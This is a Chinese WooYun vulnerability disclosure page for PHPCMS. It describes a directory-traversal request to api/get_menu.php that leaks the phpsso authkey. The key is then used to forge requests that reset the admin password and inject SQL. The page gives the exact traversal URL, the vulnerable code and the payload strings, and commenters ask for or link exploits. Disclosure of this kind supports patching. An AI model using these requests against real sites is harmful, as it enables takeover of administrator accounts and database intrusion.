当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(176) 关注此漏洞

缺陷编号: WooYun-2015-105242

漏洞标题: PHPCMS最新版本authkey泄露可注射拿shell

相关厂商: phpcms

漏洞作者: GLM_

提交时间: 2015-04-01 17:23

公开时间: 2015-06-30 17:38

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计缺陷/边界绕过 php源码审核 白盒测试

40人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-01: 厂商已经确认,细节仅向厂商公开
2015-04-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-05-26: 细节向核心白帽子及相关领域专家公开
2015-06-05: 细节向普通白帽子公开
2015-06-15: 细节向实习白帽子公开
2015-06-30: 细节向公众公开

简要描述:

authkey泄露可以导致一系列安全问题

详细说明:

http://**.**.**.**/bugs/wooyun-2014-066394

可以参考这篇文章,这这篇文章的作者爆了这样一个点

code 区域
public function getapplist() {
$applist = getcache('applist', 'admin');
exit(serialize($applist));
}



厂商同学直接忽略了,但是却自己修复了(不评论),修复为

code 区域
public function getapplist() {
$applist = getcache('applist', 'admin');
foreach($applist as $key=>$value){
unset($applist[$key]['authkey']);
}
exit(serialize($applist));





修复得很不仔细,看来厂商真的觉得这不是个洞。好啊,那么肯定就会有其它点了,既然不重视这个点,我们来看\api\get_menu.php:



code 区域
function ajax_getlist() {

$cachefile = $_GET['cachefile'];
$cachefile = str_replace(array('/', '//'), '', $cachefile);
//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
$path = $_GET['path'];
$path = str_replace(array('/', '//'), '', $path);
//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
$title = $_GET['title'];
$key = $_GET['key'];
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
foreach($infos AS $k=>$v) {
if($v['parentid'] == $where_id) {
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>0) {
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
} else {
echo trim_script($_GET['callback']).'()';exit;
}
}



其中的getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容。



那么如果这样的链接会督导什么内容呢?



code 区域
http://**.**.**.**/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin



4.jpg





漏洞证明:

不过这里厂商又会忽略的。那么我们看看authkey怎么用



在\phpsso_server\phpcms\modules\phpsso\index.php中含有如下函数:



code 区域
public function edit() {
$this->email = isset($this->data['email']) ? $this->data['email'] : '';
$this->uid = isset($this->data['uid']) ? $this->data['uid'] : '';

$userinfo = $this->getuserinfo(1);

if (isset($this->data['password']) && !empty($this->data['password'])) {
$this->password = create_password($this->data['password'], $userinfo['random']);
}

$this->random = !empty($this->data['random']) ? $this->data['random'] : $userinfo['random'];
if (isset($this->data['newpassword']) && !empty($this->data['newpassword'])) {
$this->newpassword = create_password($this->data['newpassword'], $this->random);
}

if ($userinfo == -1) {
exit('-1');
}

if (isset($this->password) && !empty($this->password) && $userinfo['password'] != $this->password) {
exit('-2');
}

if ($this->email && $userinfo['email'] != $this->email) {
if($this->checkemail(1) == -1) exit('-3');
}

$data = array();
$data['appname'] = $this->applist[$this->appid]['name'];

if (!empty($this->email) && $userinfo['email'] != $this->email) {
$data['email'] = $this->email;
}

if (isset($this->newpassword) && $userinfo['password'] != $this->newpassword) {
$data['password'] = $this->newpassword;
$data['random'] = $this->random;
}

if (!empty($data)) {

//ucenter部份
if ($this->config['ucuse']) {
pc_base::load_config('uc_config');
require_once PHPCMS_PATH.'api/uc_client/client.php';
$r = uc_user_edit($userinfo['username'], '', (isset($this->data['newpassword']) && !empty($this->data['newpassword']) ? $this->data['newpassword'] : ''), $data['email'],1);
if ($r != 1) {
//{-1:用户不存在;-2:旧密码错误;-3:email已经存在 ;1:成功;0:未作修改}
switch ($r) {
case '-1':
exit('-2');
break;
case '0':
case '-4':
case '-5':
case '-6':
case '-7':
case '-8':
exit('0');
break;
}
}
}
if (empty($data['email'])) unset($data['email']);

/*插入消息队列*/
$noticedata = $data;
$noticedata['uid'] = $userinfo['uid'];
messagequeue::add('member_edit', $noticedata);
if($this->username) {
$res = $this->db->update($data, array('username'=>$this->username));
} else {
$res = $this->db->update($data, array('uid'=>$this->uid));
}
exit("$res");
} else {
exit('0');
}
}





里面有数据库的操作,应该是用于密码更改的。我们来构造一个data数据,加密前:



code 区域
uid=1&newpassword=admin123456





利用上面的authkey以及cms自带的加解密函数即可进行加密。在这里,我们除了可以修改密码,还可以进行注入



code 区域
uid=1&email=123'





修复方案:

不会修复

版权声明:转载请注明来源 GLM_@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-04-01 17:36

厂商回复:

感谢提交

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-04-01 23:28 | 明月影 ( 路人 | Rank:12 漏洞数:8 )
    0

    关注下。

  2. 2015-04-06 01:28 | scanf ( 核心白帽子 | Rank:1469 漏洞数:207 | 。)
    0

    案例来了

  3. 2015-04-06 12:01 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)
    1

    你把漏洞都搞完了 以后看你怎么搞shell

  4. 2015-04-07 21:30 | hope ( 路人 | Rank:1 漏洞数:2 | 一个小菜)
    0

    @zhxs 小神师傅 说得好

  5. 2015-05-04 19:58 | 微尘 ( 普通白帽子 | Rank:226 漏洞数:76 )
    0

    @zhxs 看完漏洞我蛋都疼了。这尼玛怎么修改密码。。如何getshell,搞不明白。看不懂。标题党。我蛋疼

  6. 2015-05-04 21:36 | scanf ( 核心白帽子 | Rank:1469 漏洞数:207 | 。)
    0

    你怎么看细节得

  7. 2015-05-05 11:13 | 流星warden ( 实习白帽子 | Rank:54 漏洞数:8 | The quieter you become,the more you are ...)
    0

    @scanf 目测他有厂商号

  8. 2015-05-05 11:20 | scanf ( 核心白帽子 | Rank:1469 漏洞数:207 | 。)
    0

    哈哈原来是这样.

  9. 2015-05-05 11:22 | Annabelle ( 实习白帽子 | Rank:56 漏洞数:17 | .)
    0

    坐等公开

  10. 2015-05-05 17:59 | hope ( 路人 | Rank:1 漏洞数:2 | 一个小菜)
    0

    膜拜大牛 找朋友

  11. 2015-05-22 10:04 | fuckohyes ( 路人 | Rank:0 漏洞数:1 | 小菜鸟一枚,多多关照)
    1

    已经知道exp了,不知道有没有dz那样的利用工具

  12. 2015-05-22 10:58 | scanf ( 核心白帽子 | Rank:1469 漏洞数:207 | 。)
    0

    @fuckohyes exp哪里?

  13. 2015-05-30 09:25 | 包包 ( 实习白帽子 | Rank:76 漏洞数:33 | 我是菜鸟,我怕谁?小弟新来,望大牛多多包...)
    0

    mark

  14. 2015-06-02 12:07 | HotQS ( 路人 | Rank:16 漏洞数:5 | 立志把谷歌玩出花的男人!)
    0

    @scanf 我会告诉你bugscan已经可以扫了么

  15. 2015-06-02 12:50 | scanf ( 核心白帽子 | Rank:1469 漏洞数:207 | 。)
    0

    这么吊@HotQS

  16. 2015-06-08 12:49 | 黑色天使 ( 路人 | Rank:4 漏洞数:1 | 爱生活,爱编程。)
    0

    这么叼,你妈妈知道吗

  17. 2015-06-10 14:07 | D&G ( 普通白帽子 | Rank:566 漏洞数:113 | going)
    0

    这样有条件限制吧

  18. 2015-06-11 11:59 | 北洋贱队 ( 普通白帽子 | Rank:252 漏洞数:25 )
    1

    收藏

  19. 2015-06-12 17:18 | 小清新 ( 路人 | Rank:4 漏洞数:1 | 以后再写)
    0

    拿到了authkey怎么进行的注射那 mark下 求知道的告知下

  20. 2015-06-18 13:11 | quanxian ( 实习白帽子 | Rank:32 漏洞数:2 | This is QuanXian.)
    0

    @微尘 @GLM_ 这个edi()这个函数传这两个参数提示空。 注射倒是没问题

  21. 2015-06-18 13:12 | quanxian ( 实习白帽子 | Rank:32 漏洞数:2 | This is QuanXian.)
    0

    @quanxian edit() 修改密码这里

  22. 2015-06-20 13:54 | 0x01 ( 路人 | Rank:2 漏洞数:1 | XXOO)
    0

    哪位大牛发下漏洞详情给我 小弟感激不尽 邮箱:sundn.gm@gmail.com

  23. 2015-06-30 18:58 | 幻老头儿 ( 普通白帽子 | Rank:259 漏洞数:58 | 新手上路。)
    0

    给你跪拜

  24. 2015-06-30 19:22 | Alan* ( 路人 | Rank:16 漏洞数:5 | 少壮不努力,长大捡垃圾)
    0

    mark

  25. 2015-07-01 13:36 | bobbi ( 路人 | Rank:22 漏洞数:8 | 我没什么爱好 平时就爱撸撸管 看看AV)
    1

    怎么利用

  26. 2015-07-06 11:08 | B1gstar ( 实习白帽子 | Rank:78 漏洞数:13 | 向各位学习来了。)
    0

    有exp么

  27. 2015-07-11 23:10 | 0c0c0f ( 实习白帽子 | Rank:50 漏洞数:16 | My H34rt c4n 3xploit 4ny h0les!)
    0

    @GLM_ 厂商貌似没修啊

  28. 2015-07-14 09:02 | 微尘 ( 普通白帽子 | Rank:226 漏洞数:76 )
    0

    哪位大牛发下漏洞详情给我 小弟感激不尽 邮箱:4654602@qq.com

  29. 2015-07-14 12:16 | 懒猫先生 ( 路人 | Rank:23 漏洞数:9 | 乌云有你更精彩*)
    0

    求详情

  30. 2015-07-15 10:32 | strike ( 路人 | Rank:0 漏洞数:1 | Hello world!)
    0

    厂商同学这下又要偷偷修复了

  31. 2015-07-18 10:37 | Soulmk ( 实习白帽子 | Rank:54 漏洞数:14 | 低调学习求发展~)
    0

    看的我很迷糊啊,唉~~好好学习啊

  32. 2015-07-18 18:31 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)
    0

    @B1gstar @scanf 才写的exp,兄弟们用吧。 http://www.waitalone.cn/phpcmsv9-authkey-exp.html

  33. 2015-07-18 22:53 | plane636 ( 普通白帽子 | Rank:160 漏洞数:16 )
    0

    @hack2012 ma5加salt的吧

  34. 2015-07-23 04:42 | Yomis ( 路人 | Rank:4 漏洞数:3 | exploit)
    0

    - -

  35. 2015-07-31 09:11 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)
    0

    @plane636 exp里有salt的呀,看:后面的。

  36. 2015-09-27 01:25 | 煦阳。 ( 普通白帽子 | Rank:134 漏洞数:27 | 这个人很懒,什么都没留下。)
    0

    gpc开了就头大了

登录后才能发表评论,请先 登录